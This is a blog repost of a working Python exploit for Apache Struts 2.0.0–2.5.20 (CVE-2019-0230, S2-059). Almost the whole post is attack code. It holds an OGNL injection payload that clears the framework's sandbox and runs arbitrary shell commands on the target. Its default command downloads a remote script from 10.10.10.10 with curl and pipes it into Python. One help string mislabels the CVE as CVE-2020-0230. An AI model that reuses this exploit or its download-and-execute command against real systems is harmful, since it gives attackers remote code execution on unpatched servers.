Saturday, March 2, 2024

Apache Struts 2.5.20 – Double OGNL evaluation POC

Exploit Title: Apache Struts 2.5.20 – Double OGNL evaluation

# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22

# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging


class Exploit:
    def __init__(
            self,
            target='',
            redirect=False,
            proxy_address=''
    ):
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        self.target = target
        self.session = requests.session()
        self.redirect = redirect
        self.timeout = 0.5
        self.proxies = {
            'http': 'http://%s' % proxy_address,
            'https': 'http://%s' % proxy_address
        } \
            if proxy_address is not None \
               and proxy_address != '' else {}
        self.query_params = {}
        self.form_values = {}
        self.cookies = {}
        boundary = "---------------------------735323031399963166993862150"
        self.headers = {
            'Content-Type': 'multipart/form-data; boundary=%s' % boundary,
            'Accept': '*/*',
            'Connection': 'close'
        }
        payload = "%{(#nike='multipart/form-data')." \
                  "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
                  "(#_memberAccess?(#_memberAccess=#dm):" \

"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
\

"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
\
                  "(#ognlUtil.getExcludedPackageNames().clear())." \
                  "(#ognlUtil.getExcludedClasses().clear())." \
                  "(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \

"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
\

"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
                  "(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \

"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."
\

"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
\
                  "(#ros.flush())}"

        self.payload = "--%s\r\nContent-Disposition: form-data;
name=\"foo\"; " \
                       "filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (
                           boundary, payload, boundary
                       )

    def do_get(self, url, params=None, data=None):
        return self.session.get(
            url=url,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            data=data,
            params=params
        )

    def do_post(self, url, data=None, params=None):
        return self.session.post(
            url=url,
            data=data,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            params=params
        )

    def debug(self):
        try:
            import http.client as http_client
        except ImportError:
            import httplib as http_client
        http_client.HTTPConnection.debuglevel = 1
        logging.basicConfig()
        logging.getLogger().setLevel(logging.DEBUG)
        requests_log = logging.getLogger("requests.packages.urllib3")
        requests_log.setLevel(logging.DEBUG)
        requests_log.propagate = True
        return self

    def send_payload(self, command='curl --insecure -sv
https://10.10.10.10/shell.py|python -'):
        url = self.target
        stdout.write('sending payload to %s payload %s' % (url, command))
        resp = self.do_post(url=url, params=self.query_params,
data=self.payload.replace('{COMMAND}', command))
        return resp


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True,
                                     description='CVE-2020-0230 Struts
2 exploit')
    try:
        parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com/index.action')
        parser.add_argument('-command', action='store',
                            help='Command to execute: touch /tmp/pwn')
        parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
        parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')

        if len(argv) == 1:
            parser.print_help()
            exit(1)
        options = parser.parse_args()

        exp = Exploit(
            proxy_address=options.proxy,
            target=options.target
        )

        if options.debug:
            exp.debug()
            stdout.write('target %s debug %s proxy %s\n' % (
                options.target, options.debug, options.proxy
            ))

        result = exp.send_payload(command=options.command)
        stdout.write('Response: %d\n' % result.status_code)

    except Exception as error:

stderr.write('error in main %s' % str(error))
Bookmark
Close
Recommended:  Google Pixel Bug nets security researcher a whopping $70k bounty
Please login
Share the word, let's increase Cybersecurity Awareness as we know it
- Sponsored -

Sponsored Offer

Unleash the Power of the Cloud: Grab $200 Credit for 60 Days on DigitalOcean!

Digital ocean free 200

Discover more infosec

User Avatar
Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

more infosec reads

Subscribe for weekly updates

explore

more

security